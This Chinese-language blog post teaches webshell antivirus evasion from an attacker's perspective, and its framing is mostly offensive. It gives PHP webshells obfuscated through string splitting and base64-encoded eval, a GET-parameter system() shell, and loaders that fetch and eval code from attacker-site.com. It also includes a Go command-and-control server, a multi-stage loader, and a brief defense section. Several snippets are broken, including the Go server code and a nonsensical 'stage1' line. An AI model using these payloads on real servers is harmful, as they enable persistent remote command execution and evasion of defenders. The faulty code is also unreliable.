一、从真实事件说起
2023年某互联网公司遭遇了一次恶意攻击,攻击者使用了一种高度隐蔽的Webshell,成功绕过公司的安全检测系统,并持续控制多个Web服务器长达数周。这次事件中,攻击者不仅实现了免杀,还对Webshell进行了一系列复杂的混淆和流量隐藏操作,使得传统的检测手段难以发现。这种技术的核心在于对Webshell的免杀处理,本文将从攻击者的视角详细分析如何实现并武器化这一技术。
---
二、免杀的核心逻辑:技术拆解
Webshell之所以会被检测,是因为其内容或行为触发了检测规则,例如:
- 特征匹配:包括文件内容特征(如某些常见的Webshell代码片段)或行为特征(异常的系统调用)。
- 流量分析:通过HTTP流量中传递的Payload特征识别Webshell。
- 启发式检测:基于异常的文件操作、执行路径等。
要实现免杀,就需要在这些核心检测点上进行对抗。以下是免杀的核心思路:
- 代码混淆:通过动态生成、加密解密等方式隐藏恶意代码。
- 内存加载:Webshell代码不写入磁盘,直接通过内存中运行。
- 通信伪装:伪装正常的HTTP流量,绕过流量检测。
- 规避规则:通过对检测规则的逆向分析,设计能够规避规则的Payload。
---
三、环境搭建:武器化前的准备工作
在实际研究Webshell免杀技术前,首先需要搭建一个适合测试的环境。这里我们选择以下配置:
- 目标服务器:Nginx + PHP7.4
- 操作系统:Ubuntu 20.04
- 防御工具:安装WAF(如ModSecurity)和一个主流EDR(如CrowdStrike)。
- 控制端:攻击者使用一台Kali Linux虚拟机。
配置目标服务器
在目标服务器上安装Nginx和PHP后,将其配置为能运行基础Web应用: <pre><code class="language-bash">sudo apt update sudo apt install nginx php-fpm sudo systemctl start nginx sudo systemctl enable php-fpm</code></pre>
设置一个简单的PHP页面用于测试: <pre><code class="language-bash"># 创建测试页面 echo "<?php phpinfo(); ?>" > /var/www/html/info.php</code></pre>
确保服务器运行正常后,安装一个简单的WAF,如ModSecurity: <pre><code class="language-bash"># 安装ModSecurity sudo apt install libapache2-mod-security2 sudo a2enmod security2 sudo systemctl restart apache2</code></pre>
---
四、代码混淆:Payload构造的艺术
为了演示免杀技术,我们构造一个简单的PHP Webshell,但通过混淆和动态加载让它绕过检测。以下是一个基础的PHP Webshell: <pre><code class="language-php"><?php eval($_POST['cmd']); ?></code></pre> 这个Webshell显然会被检测,因为它包含典型的“eval”特征。为此,我们可以使用代码混淆技术,将其改为以下形式:
基础混淆版本
<pre><code class="language-php"><?php $func = "ev" . "al"; $input = $_POST["cmd"]; $func($input); ?></code></pre>
动态生成版本
为了进一步隐藏,可以通过动态生成代码: <pre><code class="language-php"><?php $encrypted = "ZWNobyAiVGhpcyBpcyBhIHRlc3QhIjs="; // Base64加密后的代码 $decrypted = base64_decode($encrypted); eval($decrypted); ?></code></pre>
这种动态生成方式可以绕过基于特征字符串的检测,因为代码内容在文件中是加密的,只有运行时才会解密。
---
五、绕过流量检测:伪装通信
防御系统往往会检测Webshell的通信流量,因此攻击者需要对流量进行伪装。例如,通常的Webshell通信流量是通过POST请求传输恶意Payload,为了绕过,可以将流量伪装成普通的GET请求。
示例代码:GET请求伪装
攻击端发送的Payload: <pre><code class="language-go">package main
import ( "net/http" "fmt" "io/ioutil" )
func main() { url := "http://target-site.com/shell.php?cmd=echo%20Hello%20World" resp, err := http.Get(url) if err != nil { fmt.Println("Error:", err) return } body, _ := ioutil.ReadAll(resp.Body) fmt.Println(string(body)) }</code></pre>
在服务器端,Webshell通过解析GET参数执行命令: <pre><code class="language-php"><?php $cmd = $_GET['cmd']; system($cmd); ?></code></pre>
这样一来,流量看起来就像是普通的HTTP GET请求,难以引起防御系统的注意。
---
六、内存加载:免除文件检测
传统Webshell需要将代码写入磁盘文件,容易被防御系统检测。而内存加载技术使得Webshell代码只存在于运行时的内存中,从而规避文件检测。

示例代码:基于内存的Payload
攻击者可以利用PHP的动态加载功能,将恶意代码直接加载到内存中: <pre><code class="language-php"><?php $data = file_get_contents("http://attacker-site.com/payload.txt"); eval($data); ?></code></pre>
此时,恶意代码存储在攻击者的C2服务器上,目标服务器不会有任何文件写入操作。
攻击者的C2服务器端代码: <pre><code class="language-go">package main
import ( "net/http" )
func handler(w http.ResponseWriter, r *http.Request) { webshell := <?php system($_POST['cmd']); ?> fmt.Fprintln(w, webshell) }
func main() { http.HandleFunc("/payload.txt", handler) http.ListenAndServe(":8080", nil) }</code></pre>
---
七、实战经验:对抗EDR的免杀技巧
现代EDR(如CrowdStrike、Carbon Black)对Webshell行为检测非常敏感,尤其是对常见的系统调用操作(如system()、exec())会有严格监控。因此,攻击者可以通过以下方式实现更高级别的免杀:
- 系统调用伪装:用一些无害代码包裹恶意逻辑。
- 行为延迟:通过延迟执行来规避实时检测。
- 多阶段加载:将Webshell拆分为多个模块,分阶段加载。
示例代码:多阶段免杀Webshell 第一阶段: <pre><code class="language-php"><?php $stage1 = "base64_decode"; $stage2 = "system"; eval($stage1($stage2)); ?></code></pre>
第二阶段从攻击者服务器加载核心逻辑: <pre><code class="language-php"><?php $logic = file_get_contents("http://attacker-site.com/shell_logic.txt"); eval($logic); ?></code></pre>
---
八、检测与防御:攻防博弈
检测机制
防御者可以通过以下方式检测免杀Webshell:
- 流量分析:识别异常的HTTP流量模式。
- 行为检测:对服务器端的系统调用进行实时审计。
- 沙盒模拟:在隔离环境中分析代码行为。
防御建议
- 严格WAF规则:加强WAF对动态代码执行行为的监控。
- 代码审计:对上传的代码进行静态分析。
- 流量监控:利用机器学习模型识别异常流量。
---

九、个人总结

Webshell免杀技术的核心在于对抗检测规则,这需要攻击者具备深入的逆向分析能力和对防御机制的理解。在实际攻防中,免杀技术随着防御手段的升级而不断迭代。因此,作为安全从业者,我们必须始终保持技术敏感性,在攻防博弈中不断提升自己的能力。
本文仅供安全研究和授权测试使用,请勿用于非法用途。